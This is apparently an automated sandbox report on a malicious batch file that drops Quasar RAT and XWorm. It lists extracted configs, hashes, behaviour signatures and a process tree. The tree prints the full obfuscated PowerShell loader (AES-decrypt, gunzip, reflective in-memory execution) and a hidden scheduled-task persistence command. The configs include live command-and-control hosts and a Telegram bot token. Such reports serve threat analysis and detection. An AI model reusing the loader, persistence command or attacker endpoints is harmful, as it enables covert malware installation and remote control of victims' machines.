Resubmissions

Analysis

  • max time kernel
    60s
  • max time network
    70s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240412-en
  • resource tags

    arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    13-04-2024 18:14

General

  • Target

    Client-built.bat

  • Size

    1.6MB

  • MD5

    566c653ae6a704041aef596fce6d6a8c

  • SHA1

    da35608bf372a6113d941817a96bc3a17de9ef69

  • SHA256

    950153a1ef5114d609ca8fa79a28374c1f24ae84a8f90ef0a21fb7914639b4e9

  • SHA512

    98662e33f746dce81efe530f6544bf0d83eff2ff35d72bf54e105ef6de121108a4aa28d6e417d3c8e1584a5c0165f78b180574eaa489f11d7cd617b6d31e01c2

  • SSDEEP

    24576:5fdhc8KmdqCxAN6Wzmom6E7SMVePybPyDJq2Tg60xTmDADhXX9wEvIslVYglu0TW:5FhcZmgs4DANHXvhXNVnEyx8f

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

C2

express-divorce.gl.at.ply.gg:22562

Mutex

6735a92b-88d2-4fbe-8e59-605a85072109

Attributes
  • encryption_key

    8681483EF512C654BECF205A0D74FFCA4B129A98

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Trapix Client Startup

  • subdirectory

    SubDir

Extracted

Family

xworm

Version

3.0

C2

traffic-collins.gl.at.ply.gg:24820

Mutex

uX6FapIHo24Z2JFZ

Attributes
  • install_file

    USB.exe

  • telegram

    https://api.telegram.org/bot7171419034:AAFHVFSxi6aVJohwci09QBtbjQ3QtjcLoBc/sendMessage?chat_id=6403260284

aes.plain

Signatures

  • Detect Xworm Payload 3 IoCs
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 6 IoCs
  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4980
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rut3Nxs7NHGxRfDGW4AZiW/la3bsD/qGa57R1oLq3Jk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IMGBAJCtblcDTdjuAM5M1A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rYugK=New-Object System.IO.MemoryStream(,$param_var); $FsizC=New-Object System.IO.MemoryStream; $qQyLB=New-Object System.IO.Compression.GZipStream($rYugK, [IO.Compression.CompressionMode]::Decompress); $qQyLB.CopyTo($FsizC); $qQyLB.Dispose(); $rYugK.Dispose(); $FsizC.Dispose(); $FsizC.ToArray();}function execute_function($param_var,$param2_var){ $YdjZT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WGHne=$YdjZT.EntryPoint; $WGHne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$tUlfv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Client-built.bat').Split([Environment]::NewLine);foreach ($opvFd in $tUlfv) { if ($opvFd.StartsWith(':: ')) { $vKkrO=$opvFd.Substring(3); break; }}$payloads_var=[string[]]$vKkrO.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2284
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_134_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_134.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4148
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_134.vbs"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5024
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_134.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:5008
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rut3Nxs7NHGxRfDGW4AZiW/la3bsD/qGa57R1oLq3Jk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IMGBAJCtblcDTdjuAM5M1A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rYugK=New-Object System.IO.MemoryStream(,$param_var); $FsizC=New-Object System.IO.MemoryStream; $qQyLB=New-Object System.IO.Compression.GZipStream($rYugK, [IO.Compression.CompressionMode]::Decompress); $qQyLB.CopyTo($FsizC); $qQyLB.Dispose(); $rYugK.Dispose(); $FsizC.Dispose(); $FsizC.ToArray();}function execute_function($param_var,$param2_var){ $YdjZT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WGHne=$YdjZT.EntryPoint; $WGHne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_134.bat';$tUlfv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_134.bat').Split([Environment]::NewLine);foreach ($opvFd in $tUlfv) { if ($opvFd.StartsWith(':: ')) { $vKkrO=$opvFd.Substring(3); break; }}$payloads_var=[string[]]$vKkrO.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1532
            • C:\Users\Admin\AppData\Local\Temp\XClientNOT.exe
              "C:\Users\Admin\AppData\Local\Temp\XClientNOT.exe"
              6⤵
              • Executes dropped EXE
              PID:3128

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    df472dcddb36aa24247f8c8d8a517bd7

    SHA1

    6f54967355e507294cbc86662a6fbeedac9d7030

    SHA256

    e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6

    SHA512

    06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    4ca42e9cc6de90060a4503debda3ea58

    SHA1

    652f325e5c423876d85ba1a164301ab2d147604b

    SHA256

    67b7e0001e15e60f1e5c92ce49644ce08500a099fd94135d179b8dfe0513567c

    SHA512

    38303f1959a2fe056c3cdba1fc775538c21b20364c25154d9f8ca365f3abf8a240b3d3851b8854ddf33a994ae0ef55b6fdaafe695eef658a2386f0c8e05b1e10

  • C:\Users\Admin\AppData\Local\Temp\XClientNOT.exe

    Filesize

    31KB

    MD5

    dd466e4e324143a67a406797c23ee2bc

    SHA1

    cc369b99c18c9322734b14908e7b21f2bec48118

    SHA256

    1a87f2fed2a9263e703c44d25da8242016a640db930678a0f497879267c133c8

    SHA512

    603c082427129deac3bce210d87e3f4125dd429ad7fe13422b7a3d80f8e282ae8ad887a20e47de12a3f90c24ab4a143dc3b069fd8da122f4f96b70f94bd7f438

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fwzoniql.fwe.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\startup_str_134.bat

    Filesize

    1.6MB

    MD5

    566c653ae6a704041aef596fce6d6a8c

    SHA1

    da35608bf372a6113d941817a96bc3a17de9ef69

    SHA256

    950153a1ef5114d609ca8fa79a28374c1f24ae84a8f90ef0a21fb7914639b4e9

    SHA512

    98662e33f746dce81efe530f6544bf0d83eff2ff35d72bf54e105ef6de121108a4aa28d6e417d3c8e1584a5c0165f78b180574eaa489f11d7cd617b6d31e01c2

  • C:\Users\Admin\AppData\Roaming\startup_str_134.vbs

    Filesize

    115B

    MD5

    b05d306b33af9aa7a0d659d7dff16bec

    SHA1

    229a881e9a1900f05445d18337ea0deee8f8ea6f

    SHA256

    5bc18b1286fb36a74fe058481326eba5467432eb53a7d73ac89fde8df36ebd07

    SHA512

    639317b239489750cd1543b265798f323d8b3cb5fac74c54e2cceaf49618ceb02d8e4a8a5e15a8977597eb88f2b6bd13caaac428d85e16f55bfddc386de53bc4

  • memory/1532-63-0x000002A073EF0000-0x000002A073F40000-memory.dmp

    Filesize

    320KB

  • memory/1532-64-0x000002A074000000-0x000002A0740B2000-memory.dmp

    Filesize

    712KB

  • memory/1532-69-0x000002A0733B0000-0x000002A0733C0000-memory.dmp

    Filesize

    64KB

  • memory/1532-68-0x000002A0733B0000-0x000002A0733C0000-memory.dmp

    Filesize

    64KB

  • memory/1532-67-0x00007FFC0BDB0000-0x00007FFC0C872000-memory.dmp

    Filesize

    10.8MB

  • memory/1532-66-0x000002A074A00000-0x000002A074BC2000-memory.dmp

    Filesize

    1.8MB

  • memory/1532-52-0x000002A0739A0000-0x000002A073CC4000-memory.dmp

    Filesize

    3.1MB

  • memory/1532-43-0x00007FFC0BDB0000-0x00007FFC0C872000-memory.dmp

    Filesize

    10.8MB

  • memory/1532-44-0x000002A0733B0000-0x000002A0733C0000-memory.dmp

    Filesize

    64KB

  • memory/1532-45-0x000002A0733B0000-0x000002A0733C0000-memory.dmp

    Filesize

    64KB

  • memory/2284-11-0x00000233EB570000-0x00000233EB578000-memory.dmp

    Filesize

    32KB

  • memory/2284-10-0x00000233EB580000-0x00000233EB590000-memory.dmp

    Filesize

    64KB

  • memory/2284-9-0x00007FFC0BDB0000-0x00007FFC0C872000-memory.dmp

    Filesize

    10.8MB

  • memory/2284-47-0x00007FFC0BDB0000-0x00007FFC0C872000-memory.dmp

    Filesize

    10.8MB

  • memory/2284-12-0x00000233EB790000-0x00000233EB8CA000-memory.dmp

    Filesize

    1.2MB

  • memory/2284-2-0x00000233EB4E0000-0x00000233EB502000-memory.dmp

    Filesize

    136KB

  • memory/3128-61-0x00000000009B0000-0x00000000009BE000-memory.dmp

    Filesize

    56KB

  • memory/3128-65-0x000000001B6D0000-0x000000001B6E0000-memory.dmp

    Filesize

    64KB

  • memory/3128-62-0x00007FFC0BDB0000-0x00007FFC0C872000-memory.dmp

    Filesize

    10.8MB

  • memory/3128-70-0x00007FFC0BDB0000-0x00007FFC0C872000-memory.dmp

    Filesize

    10.8MB

  • memory/3128-71-0x000000001B6D0000-0x000000001B6E0000-memory.dmp

    Filesize

    64KB

  • memory/4148-23-0x000001F43E3D0000-0x000001F43E3E0000-memory.dmp

    Filesize

    64KB

  • memory/4148-14-0x00007FFC0BDB0000-0x00007FFC0C872000-memory.dmp

    Filesize

    10.8MB

  • memory/4148-26-0x00007FFC0BDB0000-0x00007FFC0C872000-memory.dmp

    Filesize

    10.8MB